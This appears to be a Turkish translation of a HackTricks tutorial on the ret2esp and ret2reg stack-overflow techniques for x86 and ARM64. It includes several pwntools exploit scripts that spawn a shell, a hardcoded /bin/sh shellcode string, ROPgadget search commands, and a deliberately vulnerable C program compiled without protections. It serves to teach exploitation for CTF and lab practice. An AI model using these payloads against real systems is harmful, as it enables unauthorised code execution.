Ret2esp / Ret2reg

HackTricks'i Destekleyin

Ret2esp

ESP (Yığın İşaretçisi) her zaman yığının en üstüne işaret ettiği için, bu teknik, EIP'yi (Komut İşaretçisi) bir jmp esp veya call esp komutunun adresiyle değiştirerek çalışır. Bunu yaparak, shellcode, üzerine yazılan EIP'nin hemen ardına yerleştirilir. ret komutu çalıştığında, ESP bir sonraki adrese işaret eder, tam olarak shellcode'un depolandığı yer.

Eğer Windows veya Linux'ta Adres Alanı Düzeni Rastgeleleştirme (ASLR) etkin değilse, paylaşılan kütüphanelerde bulunan jmp esp veya call esp komutlarını kullanmak mümkündür. Ancak, ASLR etkinse, bu komutları bulmak için savunmasız programın kendisine bakmak gerekebilir (ve PIE engelini aşmanız gerekebilir).

Ayrıca, shellcode'u EIP bozulmasından sonra yerleştirebilmek, yığının ortasına değil, EIP'nin üzerine yerleştirmek, işlevin çalışması sırasında gerçekleşen herhangi bir push veya pop komutunun shellcode ile etkileşime girmesini önler. Bu etkileşim, shellcode yığının ortasına yerleştirilmiş olsaydı meydana gelebilirdi.

Yetersiz alan

Eğer RIP üzerine yazdıktan sonra yazacak alanınız yoksa (belki sadece birkaç bayt), başlangıçta bir jmp shellcode'u yazın:

sub rsp, 0x30
jmp rsp

Örnek

Bu teknikle ilgili bir örnek https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/using-rsp adresinde bulunabilir ve son saldırı şu şekildedir:

from pwn import *

elf = context.binary = ELF('./vuln')
p = process()

jmp_rsp = next(elf.search(asm('jmp rsp')))

payload = b'A' * 120
payload += p64(jmp_rsp)
payload += asm('''
sub rsp, 10;
jmp rsp;
''')

pause()
p.sendlineafter('RSP!\n', payload)
p.interactive()

Başka bir örneğini bu teknikte görebilirsiniz https://guyinatuxedo.github.io/17-stack_pivot/xctf16_b0verflow/index.html. NX etkin olmayan bir taşma durumu var, $esp adresini azaltmak için bir araç kullanıldı ve ardından bir jmp esp; ile kabuk koduna atlandı:

# From https://guyinatuxedo.github.io/17-stack_pivot/xctf16_b0verflow/index.html
from pwn import *

# Establish the target process
target = process('./b0verflow')
#gdb.attach(target, gdbscript = 'b *0x080485a0')

# The shellcode we will use
# I did not write this, it is from: http://shell-storm.org/shellcode/files/shellcode-827.php
shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"

# Establish our rop gadgets

# 0x08048504 : jmp esp
jmpEsp = p32(0x08048504)

# 0x080484fd : push ebp ; mov ebp, esp ; sub esp, 0x24 ; ret
pivot = p32(0x80484fd)

# Make the payload

payload = ""
payload += jmpEsp # Our jmp esp gadget
payload += shellcode # Our shellcode
payload += "1"*(0x20 - len(shellcode)) # Filler between end of shellcode and saved return address
payload += pivot # Our pivot gadget

# Send our payload
target.sendline(payload)

# Drop to an interactive shell
target.interactive()

Ret2reg

Benzer şekilde, bir fonksiyonun kabuk kodunun depolandığı adresi döndürdüğünü bildiğimizde, call eax veya jmp eax komutlarını kullanabiliriz (ret2eax tekniği olarak bilinir), kabuk kodumuzu yürütmek için başka bir yöntem sunar. Eax gibi, ilginç bir adres içeren herhangi bir kayıt kullanılabilir (ret2reg).

Örnek

Bazı örnekleri burada bulabilirsiniz:

ARM64

Ret2sp

ARM64'te SP kaydına atlamaya izin veren komutlar yoktur. Sp'yi bir kayda taşıyıp ardından o kayda atlamayı sağlayan bir aygıt bulunabilir, ancak benim kali libc'mde böyle bir aygıt bulamadım:

for i in `seq 1 30`; do
ROPgadget --binary /usr/lib/aarch64-linux-gnu/libc.so.6 | grep -Ei "[mov|add] x${i}, sp.* ; b[a-z]* x${i}( |$)";
done

Sadece keşfettiğim tek şey, sp'nin kopyalandığı kaydın değerini değiştirecek ve ardından ona atlamak (bu nedenle işe yaramaz hale gelecektir):

Ret2reg

Eğer bir kayıt ilginç bir adres içeriyorsa, uygun talimatı bulmak yeterli olacaktır. Şöyle bir şey kullanabilirsiniz:

ROPgadget --binary /usr/lib/aarch64-linux-gnu/libc.so.6 | grep -Ei " b[a-z]* x[0-9][0-9]?";

ARM64'de, bir fonksiyonun dönüş değerini saklayan x0 olabilir, bu nedenle x0'ın, kullanıcı tarafından kontrol edilen bir tamponun adresini sakladığı ve yürütülecek bir kabuk kodunu içerdiği olabilir.

Örnek kod:

// clang -o ret2x0 ret2x0.c -no-pie -fno-stack-protector -Wno-format-security -z execstack

#include <stdio.h>
#include <string.h>

void do_stuff(int do_arg){
if (do_arg == 1)
__asm__("br x0");
return;
}

char* vulnerable_function() {
char buffer[64];
fgets(buffer, sizeof(buffer)*3, stdin);
return buffer;
}

int main(int argc, char **argv) {
char* b = vulnerable_function();
do_stuff(2)
return 0;
}

Fonksiyonun ayrıştırmasını kontrol etmek, tamponun adresinin (bof'a duyarlı ve kullanıcı tarafından kontrol edilen) tampon taşmasından dönmek önce x0'da saklandığını görmek mümkündür:

Ayrıca do_stuff fonksiyonunda br x0 cihazını bulmak mümkündür:

PIE OLMADAN derlendiği için, bu cihazı kullanacağız. Desen kullanarak tampon taşmasının ofsetinin 80 olduğu görülebilir, bu yüzden saldırı şöyle olacaktır:

from pwn import *

p = process('./ret2x0')
elf = context.binary = ELF('./ret2x0')

stack_offset = 72
shellcode = asm(shellcraft.sh())
br_x0 = p64(0x4006a0) # Addr of: br x0;
payload = shellcode + b"A" * (stack_offset - len(shellcode)) + br_x0

p.sendline(payload)
p.interactive()

Eğer fgets yerine read gibi bir şey kullanılsaydı, br x0; komutuna geri dönmek için dönüş adresinin sadece son 2 byte'ını üzerine yazarak PIE'yi atlayabilir ve tam adresi bilmeye gerek kalmazdı. fgets ile çalışmaz çünkü sona bir null (0x00) byte ekler.

Korumalar

  • NX: Yığın yürütülemezse, kabuk kodunu yığına yerleştirmemiz ve yürütmek için atlamamız gerektiği için bu işe yaramaz.

  • ASLR & PIE: Bu komut, esp veya başka bir kayda atlanacak bir komut bulmayı zorlaştırabilir.

Referanslar

HackTricks'i Destekleyin

Last updated